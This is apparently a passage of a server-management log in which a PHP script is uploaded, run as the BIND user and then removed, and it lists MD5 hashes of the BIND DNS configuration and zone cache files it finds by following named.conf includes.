MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:14:29: Establishing a connection
2026-04-22 12:14:29: 

PUT: /tmp/pkp508464

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:14:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp508464; rm /tmp/pkp508464'

2026-04-22 12:14:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
